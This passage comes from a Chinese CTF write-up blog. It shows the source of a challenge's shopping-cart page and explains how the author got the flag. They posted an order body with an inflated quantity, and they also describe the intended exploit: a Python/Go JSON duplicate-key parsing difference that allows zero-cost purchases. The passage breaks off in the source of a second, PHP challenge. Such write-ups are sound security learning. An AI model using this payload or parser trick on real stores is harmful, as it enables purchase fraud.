punctuation">"</span></span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">&gt;</span></span><span class="token style"><span class="token language-css">        <span class="token selector">body</span> <span class="token punctuation">{</span>            <span class="token property">font-family</span><span class="token punctuation">:</span> <span class="token string">'Roboto'</span><span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span>            <span class="token property">margin</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span>            <span class="token property">padding</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span>            <span class="token property">background</span><span class="token punctuation">:</span> #f9f9f9<span class="token punctuation">;</span>            <span class="token property">color</span><span class="token punctuation">:</span> #333<span class="token punctuation">;</span>            <span class="token property">display</span><span class="token punctuation">:</span> flex<span class="token punctuation">;</span>            <span class="token property">justify-content</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span>            <span class="token property">align-items</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span>            <span class="token property">min-height</span><span class="token punctuation">:</span> 100vh<span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token selector">.container</span> <span class="token punctuation">{</span>            <span class="token property">width</span><span class="token punctuation">:</span> 90%<span class="token punctuation">;</span>            <span class="token property">max-width</span><span class="token punctuation">:</span> 800px<span class="token punctuation">;</span>            <span class="token property">background</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span>            <span class="token property">padding</span><span class="token punctuation">:</span> 2rem<span class="token punctuation">;</span>            <span class="token property">border-radius</span><span class="token punctuation">:</span> 10px<span class="token punctuation">;</span>            <span class="token property">box-shadow</span><span class="token punctuation">:</span> 0 10px 20px <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.1<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token selector">h1</span> <span class="token punctuation">{</span>            <span class="token property">font-size</span><span class="token punctuation">:</span> 2.5rem<span class="token punctuation">;</span>            <span class="token property">margin-bottom</span><span class="token punctuation">:</span> 1rem<span class="token punctuation">;</span>            <span class="token property">color</span><span class="token punctuation">:</span> #444<span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token selector">.products, .cart</span> <span class="token punctuation">{</span>            <span class="token property">margin-bottom</span><span class="token punctuation">:</span> 2rem<span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token selector">.product-item, .cart-item</span> <span class="token punctuation">{</span>            <span class="token property">display</span><span class="token punctuation">:</span> flex<span class="token punctuation">;</span>            <span class="token property">justify-content</span><span class="token punctuation">:</span> space-between<span class="token punctuation">;</span>            <span class="token property">align-items</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span>            <span class="token property">margin-bottom</span><span class="token punctuation">:</span> 1rem<span class="token punctuation">;</span>            <span class="token property">padding</span><span class="token punctuation">:</span> 1rem<span class="token punctuation">;</span>            <span class="token property">background</span><span class="token punctuation">:</span> #f1f1f1<span class="token punctuation">;</span>            <span class="token property">border-radius</span><span class="token punctuation">:</span> 5px<span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token selector">.product-item h2, .cart-item h2</span> <span class="token punctuation">{</span>            <span class="token property">font-size</span><span class="token punctuation">:</span> 1.2rem<span class="token punctuation">;</span>            <span class="token property">margin</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token selector">.product-item p, .cart-item p</span> <span class="token punctuation">{</span>            <span class="token property">margin</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span>            <span class="token property">color</span><span class="token punctuation">:</span> #888<span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token selector">.total</span> <span class="token punctuation">{</span>            <span class="token property">font-size</span><span class="token punctuation">:</span> 1.5rem<span class="token punctuation">;</span>            <span class="token property">font-weight</span><span class="token punctuation">:</span> bold<span class="token punctuation">;</span>            <span class="token property">margin-top</span><span class="token punctuation">:</span> 2rem<span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token selector">.add-button, .checkout-button</span> <span class="token punctuation">{</span>            <span class="token property">padding</span><span class="token punctuation">:</span> 0.5rem 1rem<span class="token punctuation">;</span>            <span class="token property">background-color</span><span class="token punctuation">:</span> #007bff<span class="token punctuation">;</span>            <span class="token property">color</span><span class="token punctuation">:</span> white<span class="token punctuation">;</span>            <span class="token property">border</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span>            <span class="token property">border-radius</span><span class="token punctuation">:</span> 5px<span class="token punctuation">;</span>            <span class="token property">font-size</span><span class="token punctuation">:</span> 1rem<span class="token punctuation">;</span>            <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span>            <span class="token property">transition</span><span class="token punctuation">:</span> background-color 0.3s ease<span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token selector">.checkout-button</span> <span class="token punctuation">{</span>            <span class="token property">margin-top</span><span class="token punctuation">:</span> 2rem<span class="token punctuation">;</span>            <span class="token property">background-color</span><span class="token punctuation">:</span> #28a745<span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token selector">.add-button:hover</span> <span class="token punctuation">{</span>            <span class="token property">background-color</span><span class="token punctuation">:</span> #0056b3<span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token selector">.checkout-button:hover</span> <span class="token punctuation">{</span>            <span class="token property">background-color</span><span class="token punctuation">:</span> #218838<span class="token punctuation">;</span>        <span class="token punctuation">}</span>    </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">&gt;</span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">&gt;</span></span>Your Shopping Cart<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">&gt;</span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>products<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">&gt;</span></span>Available Products<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">&gt;</span></span>            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>product-list<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>                <span class="token comment">&lt;!-- Product items will be dynamically inserted here --&gt;</span>            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>cart<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h2</span><span class="token punctuation">&gt;</span></span>Cart Items<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h2</span><span class="token punctuation">&gt;</span></span>            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>cart-items<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>                <span class="token comment">&lt;!-- Cart items will be dynamically inserted here --&gt;</span>            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>total<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>Total: $<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>total-amount<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>0.00<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>total<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>你的钱包: $<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>total-wallet<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>500<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>checkout-button<span class="token punctuation">"</span></span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript"><span class="token function">handleCheckout</span><span class="token punctuation">(</span><span class="token punctuation">)</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">&gt;</span></span>Checkout<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">&gt;</span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>response-message<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">&gt;</span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">&gt;</span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">&gt;</span></span><span class="token script"><span class="token language-javascript">        <span class="token keyword">const</span> productDB <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">{</span><span class="token string-property property">"name"</span><span class="token operator">:</span> <span class="token string">"Product MY LIFE"</span><span class="token punctuation">,</span> <span class="token string-property property">"price"</span><span class="token operator">:</span> <span class="token number">100</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token string-property property">"name"</span><span class="token operator">:</span> <span class="token string">"Product SDLC"</span><span class="token punctuation">,</span> <span class="token string-property property">"price"</span><span class="token operator">:</span> <span class="token number">200</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token string-property property">"name"</span><span class="token operator">:</span> <span class="token string">"Product Guitar"</span><span class="token punctuation">,</span> <span class="token string-property property">"price"</span><span class="token operator">:</span> <span class="token number">300</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token string-property property">"name"</span><span class="token operator">:</span> <span class="token string">"Product Ukulele"</span><span class="token punctuation">,</span> <span class="token string-property property">"price"</span><span class="token operator">:</span> <span class="token number">400</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token string-property property">"name"</span><span class="token operator">:</span> <span class="token string">"Product TUBA"</span><span class="token punctuation">,</span> <span class="token string-property property">"price"</span><span class="token operator">:</span> <span class="token number">500</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token string-property property">"name"</span><span class="token operator">:</span> <span class="token string">"Product E5 2666V3"</span><span class="token punctuation">,</span> <span class="token string-property property">"price"</span><span class="token operator">:</span> <span class="token number">600</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token string-property property">"name"</span><span class="token operator">:</span> <span class="token string">"Product X99"</span><span class="token punctuation">,</span> <span class="token string-property property">"price"</span><span class="token operator">:</span> <span class="token number">700</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token string-property property">"name"</span><span class="token operator">:</span> <span class="token string">"Product 8G*2 RECC 1866"</span><span class="token punctuation">,</span> <span class="token string-property property">"price"</span><span class="token operator">:</span> <span class="token number">800</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token string-property property">"name"</span><span class="token operator">:</span> <span class="token string">"$100 E-Gift Card"</span><span class="token punctuation">,</span> <span class="token string-property property">"price"</span><span class="token operator">:</span> <span class="token number">100</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token string-property property">"name"</span><span class="token operator">:</span> <span class="token string">"FFFFFLLLLLAAAAAGGG J"</span><span class="token punctuation">,</span> <span class="token string-property property">"price"</span><span class="token operator">:</span> <span class="token number">10000</span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token keyword">let</span> cart <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token keyword">function</span> <span class="token function">addToCart</span><span class="token punctuation">(</span><span class="token parameter">productId</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>            <span class="token keyword">const</span> productIndex <span class="token operator">=</span> cart<span class="token punctuation">.</span><span class="token function">findIndex</span><span class="token punctuation">(</span><span class="token parameter">item</span> <span class="token operator">=&gt;</span> item<span class="token punctuation">.</span>id <span class="token operator">===</span> productId<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span>productIndex <span class="token operator">&gt;</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>                cart<span class="token punctuation">[</span>productIndex<span class="token punctuation">]</span><span class="token punctuation">.</span>qty <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">;</span>            <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>                cart<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> productId<span class="token punctuation">,</span> <span class="token literal-property property">qty</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">}</span>            <span class="token function">updateCart</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token keyword">function</span> <span class="token function">updateProductList</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>            <span class="token keyword">const</span> productListContainer <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">'product-list'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            productDB<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">product<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=&gt;</span> <span class="token punctuation">{</span>                <span class="token keyword">const</span> productItem <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'div'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                productItem<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">'product-item'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                productItem<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">                    &lt;div&gt;                        &lt;h2&gt;</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>product<span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">&lt;/h2&gt;                        &lt;p&gt;Price: $</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>product<span class="token punctuation">.</span>price<span class="token punctuation">.</span><span class="token function">toFixed</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">&lt;/p&gt;                    &lt;/div&gt;                    &lt;button class="add-button" onclick="addToCart(</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>index<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">)"&gt;Add to Cart&lt;/button&gt;                </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>                productListContainer<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>productItem<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token keyword">function</span> <span class="token function">updateCart</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>            <span class="token keyword">const</span> cartItemsContainer <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">'cart-items'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                        <span class="token keyword">const</span> totalAmount <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">'total-amount'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">const</span> totalWallet <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">'total-wallet'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">let</span> total <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>            cartItemsContainer<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span>  <span class="token comment">// Clear previous items</span>            cart<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token parameter">item</span> <span class="token operator">=&gt;</span> <span class="token punctuation">{</span>                <span class="token keyword">const</span> product <span class="token operator">=</span> productDB<span class="token punctuation">[</span>item<span class="token punctuation">.</span>id<span class="token punctuation">]</span><span class="token punctuation">;</span>                <span class="token keyword">const</span> itemTotal <span class="token operator">=</span> product<span class="token punctuation">.</span>price <span class="token operator">*</span> item<span class="token punctuation">.</span>qty<span class="token punctuation">;</span>                total <span class="token operator">+=</span> itemTotal<span class="token punctuation">;</span>                                <span class="token keyword">const</span> cartItem <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'div'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                cartItem<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token string">'cart-item'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                cartItem<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">                    &lt;div&gt;                        &lt;h2&gt;</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>product<span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">&lt;/h2&gt;                        &lt;p&gt;</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>item<span class="token punctuation">.</span>qty<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> x $</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>product<span class="token punctuation">.</span>price<span class="token punctuation">.</span><span class="token function">toFixed</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">&lt;/p&gt;                    &lt;/div&gt;                    &lt;div&gt;$</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>itemTotal<span class="token punctuation">.</span><span class="token function">toFixed</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">&lt;/div&gt;                </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span>                cartItemsContainer<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>cartItem<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            totalAmount<span class="token punctuation">.</span>textContent <span class="token operator">=</span> total<span class="token punctuation">.</span><span class="token function">toFixed</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            totalWallet<span class="token punctuation">.</span>textContent <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">500</span> <span class="token operator">-</span> total<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toFixed</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token keyword">function</span> <span class="token function">handleCheckout</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>            <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'/cart/checkout'</span><span class="token punctuation">,</span> <span class="token punctuation">{</span>                <span class="token literal-property property">method</span><span class="token operator">:</span> <span class="token string">'POST'</span><span class="token punctuation">,</span>                <span class="token literal-property property">headers</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token string-property property">'Content-Type'</span><span class="token operator">:</span> <span class="token string">'application/json'</span> <span class="token punctuation">}</span><span class="token punctuation">,</span>                <span class="token literal-property property">body</span><span class="token operator">:</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">orderId</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">cart</span><span class="token operator">:</span> cart <span class="token punctuation">}</span><span class="token punctuation">)</span>            <span class="token punctuation">}</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">response</span> <span class="token operator">=&gt;</span> response<span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token parameter">data</span> <span class="token operator">=&gt;</span> <span class="token punctuation">{</span>                document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">'response-message'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>textContent <span class="token operator">=</span> data<span class="token punctuation">;</span>            <span class="token punctuation">}</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token parameter">error</span> <span class="token operator">=&gt;</span> console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">'Error:'</span><span class="token punctuation">,</span> error<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token function">updateProductList</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">&gt;</span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到/shopbytedancesdhjkf/cart/checkout路由接受body为{orderId,cart:[{id,qty}]}形式的POST请求进行购物请求，但是稀里糊涂发了一个body为{orderId:1,cart:[{id:9,qty:1e4}]}的POST请求就出flag了<img src="https://s2.loli.net/2024/09/22/fD7IXU6TV4YbjLr.png" alt="image.png"></p><p>后来发现正解是<a href="https://xz.aliyun.com/t/15438?time__1311=GqjxnDuGDQMDl6zG7DyDmEUfqi%3DYwx53x&amp;u_atoken=bd26a72d39bd4a0c425195510d654ad7&amp;u_asig=1a0c384b17274566515785646e0032">JSON解析差异-风险研究 - 先知社区 (aliyun.com)</a>里提到的包含两个重复的键的json中，python处理的方式为以重复的第二个键为主，go jsonparser处理的方式为以重复的第一个键为主（我求你原文作者别打错别字），构造的json中包含一小一大两个qty值就可以实现零元购从而得到flag（另外好像不用买flag，只需要买的商品价值总额为100万即可）</p><p>至于非预期是为什么就不得而知了</p><h2 id="ezobj"><a href="#ezobj" class="headerlink" title="ezobj"></a>ezobj</h2><p>一道没有官方wp的题</p><pre class="line-numbers language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token function">ini_set</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"display_errors"</span><span class="token punctuation">,</span> <span class="token string double-quoted-string">"On"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">include_once</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"config.php"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'so'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'key'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">is_numeric</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'so'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'key'</span><span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token variable">$secret</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token function">array_map</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token variable">$file</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">echo</span> <span class="token variable">$file</span> <span class="token operator">.</span> <span class="token string double-quoted-string">"\n"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function">glob</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/tmp/*'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">putenv</span><span class="token 